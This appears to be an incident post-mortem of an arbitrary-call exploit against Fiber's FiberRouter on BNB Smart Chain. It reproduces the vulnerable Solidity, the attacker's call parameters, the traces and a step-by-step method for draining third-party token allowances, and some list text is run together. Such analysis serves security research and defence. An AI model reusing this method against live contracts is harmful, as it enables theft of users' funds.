Calculated from recorded token losses using historical USD prices at the incident time.
0x7260ad0e4769ae68f0a680356c63140353c18d7be1b86a8c4e99a0fc3b6842c10x4826e896e39dc96a8504588d21e9d44750435e2dBSC0x6697fa48f7335f4d59655aa4910f517ec4109987BSC0x4da35bf35504d77e5c5e9db6a35b76eb4479306aBSCOn BNB Smart Chain block 33874499, transaction 0x7260ad0e4769ae68f0a680356c63140353c18d7be1b86a8c4e99a0fc3b6842c1 exploited Fiber's public router 0x4826e896e39dc96a8504588d21e9d44750435e2d (FiberRouter). The adversary EOA 0x4D9c558660D8165F0C31566Fc861978f16181eaD deployed helper contract 0xfbE9B2307C0b1cf9601f927332b3a5942860A500, seeded FiberRouter with dust USDC, then called FiberRouter.swapAndCrossOneInch so that FiberRouter executed attacker-supplied calldata against the BSC USDC token 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d.
Because victim address 0x4da35bf35504d77e5c5e9db6a35b76eb4479306a had already approved FiberRouter to spend USDC, the raw call ran with msg.sender = FiberRouter and successfully executed USDC.transferFrom(victim, helper, 59012161810470474620). FundManager 0x6697fA48f7335F4D59655aA4910F517ec4109987 then pulled only 1 USDC from FiberRouter for the bridge leg, leaving the stolen balance with the attacker helper. The helper sold the stolen USDC through PancakeRouter and the sender EOA realized a net native profit of 254159737186739733 wei.
The root cause is a public arbitrary-call primitive in FiberRouter: swapAndCrossOneInch accepts an attacker-chosen and attacker-chosen calldata, then performs under FiberRouter's own approval context. That turns any pre-existing ERC20 allowance to FiberRouter into a permissionless theft opportunity.
swapRouter_swapAndCrossOneInchaddress(swapRouter).call(_calldata)FiberRouter is Fiber's public swap-and-bridge entrypoint. FundManager trusts exactly one router address, and validator-confirmed on-chain reads at block 33874498 show:
FundManager.router() == 0x4826e896E39DC96A8504588D21e9D44750435e2DFundManager.allowedTargets(USDC, 43114) == 0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6EUSDC.allowance(0x4da35bf35504d77e5c5e9db6a35b76eb4479306a, FiberRouter) was a live nonzero allowanceUSDC.balanceOf(0x4da35bf35504d77e5c5e9db6a35b76eb4479306a) == 59012161810470474620FundManager is relevant because its bridge flow pulls funds from FiberRouter rather than from the caller directly. The verified source shows swapToAddress is onlyRouter, checks that the target token is allowed for the target network, and then executes SafeAmount.safeTransferFrom(token, from, address(this), amount) where from is the router.
That trust model is safe only if FiberRouter can never be tricked into spending assets that were not intentionally sourced for the current call. In Fiber, that assumption is false because the router exposes a raw external call to an attacker-chosen target and attacker-chosen calldata.
This incident is an ATTACK, not an MEV-only liquidation or a privileged compromise. FiberRouter's swapAndCrossOneInch entrypoint lets any caller choose the swapRouter, fromToken, foundryToken, amountIn, amountCrossMin, and the raw calldata that FiberRouter will execute. The function transfers amountIn from the caller, approves the attacker-chosen router, approves FundManager for amountCrossMin, and then delegates actual execution to _swapAndCrossOneInch.
The code-level breakpoint is _swapAndCrossOneInch executing address(swapRouter).call(_calldata) with no target whitelist, no selector filtering, no binding between calldata and msg.sender, and no post-call accounting that proves the router only handled the caller's own assets. Because amountIn can be zero, the attacker does not need FiberRouter to pull any tokens from the attacker before the raw call. If a third party has already approved FiberRouter for a token, the attacker can point swapRouter at that token contract and encode a transferFrom that spends the victim's allowance.
FundManager's downstream checks do not prevent the theft. The only bridge-side requirement is that FiberRouter must hold and approve amountCrossMin of the chosen foundry token. The attacker satisfied that requirement by first sending 2271374 USDC units to FiberRouter through a dust Pancake swap, so the bridge leg consumed only 1 USDC while the stolen victim balance remained with the attacker.
The violated invariant is: a public router must only spend assets intentionally sourced from the current caller for the current operation, and must never let arbitrary calldata exercise unrelated third-party allowances already granted to the router address.
The verified FiberRouter source contains the vulnerable sequence:
function swapAndCrossOneInch(
address swapRouter,
uint256 amountIn,
uint256 amountCrossMin,
uint256 crossTargetNetwork,
address crossTargetToken,
address crossTargetAddress,
uint256 swapBridgeAmount,
bytes calldata _calldata,
address fromToken,
address foundryToken
) external {
IERC20(fromToken).safeTransferFrom(msg.sender, address(this), amountIn);
IERC20(fromToken).approve(swapRouter, amountIn);
IERC20(foundryToken).approve(pool, amountCrossMin);
_swapAndCrossOneInch(
crossTargetAddress,
swapRouter,
amountCrossMin,
crossTargetNetwork,
crossTargetToken,
_calldata,
foundryToken
);
}
function _swapAndCrossOneInch(
address to,
address swapRouter,
uint256 amountCrossMin,
uint256 crossTargetNetwork,
address crossTargetToken,
bytes memory _calldata,
address foundryToken
) internal {
(bool success, ) = address(swapRouter).call(_calldata);
if (!success) revert("SWAP_FAILED");
FundManager(pool).swapToAddress(
foundryToken,
amountCrossMin,
crossTargetNetwork,
crossTargetToken,
to
);
}
The verified FundManager source shows why the attacker only needed to seed the router with a tiny amount:
address public router;
mapping(address => mapping(uint256 => address)) public allowedTargets;
modifier onlyRouter() {
require(msg.sender == router, "BP: Only router method");
_;
}
function swapToAddress(
address token,
uint256 amount,
uint256 targetNetwork,
address targetToken,
address targetAddress
) external onlyRouter returns (uint256) {
return _swap(msg.sender, token, amount, targetNetwork, targetToken, targetAddress);
}
function _swap(
address from,
address token,
uint256 amount,
uint256 targetNetwork,
address targetToken,
address targetAddress
) internal returns (uint256) {
require(allowedTargets[token][targetNetwork] == targetToken, "BP: target not allowed");
amount = SafeAmount.safeTransferFrom(token, from, address(this), amount);
}
At block 33874498, the on-chain pre-state already satisfied every exploit precondition:
59012161810470474620 USDC,router,43114 -> 0xB97E...).The collector trace records the complete exploit in a single adversary-crafted transaction:
0x4826...35e2D::swapAndCrossOneInch(
USDC,
0,
1,
43114,
0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E,
0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E,
0,
0x23b872dd...,
USDC,
USDC
)
...
BEP20TokenImplementation::transferFrom(
0x4da35bf35504D77e5C5E9Db6a35B76eB4479306a,
0xfbE9B2307C0b1cf9601f927332b3a5942860A500,
59012161810470474620
)
...
0x6697fA48f7335F4D59655aA4910F517ec4109987::swapToAddress(USDC, 1, 43114, 0xB97E..., 0xB97E...)
...
BEP20TokenImplementation::transferFrom(
0x4826e896E39DC96A8504588D21e9D44750435e2D,
0x6697fA48f7335F4D59655aA4910F517ec4109987,
1
)
The same trace also shows the prerequisite dust seeding step immediately before the exploit call:
0xd99c7F6C65857AC913a8f880A4cb84032AB2FC5b::swap(2271374, 0, 0x4826...35e2D, 0x)
...
Transfer(from: 0xd99c..., to: 0x4826...35e2D, value: 2271374)
That dust transfer is why the exploit never reverts in FundManager. FiberRouter entered swapAndCrossOneInch with a positive USDC balance, approved FundManager for 1, executed the malicious token call, and then let FundManager pull just 1 unit. The theft therefore did not depend on moving the stolen victim balance into FiberRouter; it depended only on FiberRouter becoming the effective USDC spender during the raw external call.
The collector balance diff confirms the exact economic result:
{
"native_balance_deltas": [
{
"address": "0x4d9c558660d8165f0c31566fc861978f16181ead",
"delta_wei": "254159737186739733"
}
],
"erc20_balance_deltas": [
{
"token": "0x8ac76a51cc950d9822d68b83fe1ad97b32cd580d",
"holder": "0x4da35bf35504d77e5c5e9db6a35b76eb4479306a",
"delta": "-59012161810470474620"
},
{
"token": "0x8ac76a51cc950d9822d68b83fe1ad97b32cd580d",
"holder": "0x4826e896e39dc96a8504588d21e9d44750435e2d",
"delta": "2271373"
},
{
"token": "0x8ac76a51cc950d9822d68b83fe1ad97b32cd580d",
"holder": "0x6697fa48f7335f4d59655aa4910f517ec4109987",
"delta": "1"
}
]
}
Those deltas match the trace exactly:
amountCrossMin = 1,2271373 seeded dust units,254159737186739733 wei after gas and constructor funding.This is therefore a deterministic ACT opportunity. Any unprivileged actor observing the public allowance and public FundManager configuration could have sent a materially equivalent transaction.
0x4D9c558660D8165F0C31566Fc861978f16181eaD sent transaction 0x7260ad0e4769ae68f0a680356c63140353c18d7be1b86a8c4e99a0fc3b6842c1 and created helper contract 0xfbE9B2307C0b1cf9601f927332b3a5942860A500.10000 wei of BNB through PancakeRouter and routed the resulting 2271374 USDC units to FiberRouter, establishing the minimum bridgeable balance.FiberRouter.swapAndCrossOneInch with swapRouter = USDC, amountIn = 0, amountCrossMin = 1, fromToken = USDC, foundryToken = USDC, and _calldata = abi.encodeWithSelector(transferFrom, victim, helper, victimBalance).1 USDC from FiberRouter for the bridge leg and emitted the normal swap event, which masked the theft inside an otherwise valid router flow.The attacker-related accounts identified in the validated analysis are:
0x4D9c558660D8165F0C31566Fc861978f16181eaD: exploit sender and final profit recipient.0xfbE9B2307C0b1cf9601f927332b3a5942860A500: helper created in the exploit transaction, recipient of the stolen USDC, and immediate monetization contract.The affected parties are:
0x4826e896e39dc96a8504588d21e9d44750435e2d: vulnerable protocol entrypoint.0x6697fa48f7335f4d59655aa4910f517ec4109987: trusted downstream bridge component.0x4da35bf35504d77e5c5e9db6a35b76eb4479306a: direct token-loss victim.The direct asset loss was the victim holder's entire BSC USDC balance:
USDC5901216181047047462018The attacker monetized that theft in the same transaction:
258484460186739733 wei4324713000000000 wei254159737186739733 weiThe scope of impact is broader than a single holder because any address with a live ERC20 allowance to FiberRouter was exposed to the same arbitrary-call abuse until the protocol fixed or disabled the vulnerable path.
0x7260ad0e4769ae68f0a680356c63140353c18d7be1b86a8c4e99a0fc3b6842c1/workspace/session/artifacts/collector/seed/56/0x7260ad0e4769ae68f0a680356c63140353c18d7be1b86a8c4e99a0fc3b6842c1/trace.cast.log/workspace/session/artifacts/collector/seed/56/0x7260ad0e4769ae68f0a680356c63140353c18d7be1b86a8c4e99a0fc3b6842c1/balance_diff.json/workspace/session/artifacts/collector/seed/56/0x7260ad0e4769ae68f0a680356c63140353c18d7be1b86a8c4e99a0fc3b6842c1/metadata.jsonhttps://bscscan.com/address/0x4826e896e39dc96a8504588d21e9d44750435e2d#codehttps://bscscan.com/address/0x6697fa48f7335f4d59655aa4910f517ec4109987#codehttps://bscscan.com/tx/0x7260ad0e4769ae68f0a680356c63140353c18d7be1b86a8c4e99a0fc3b6842c1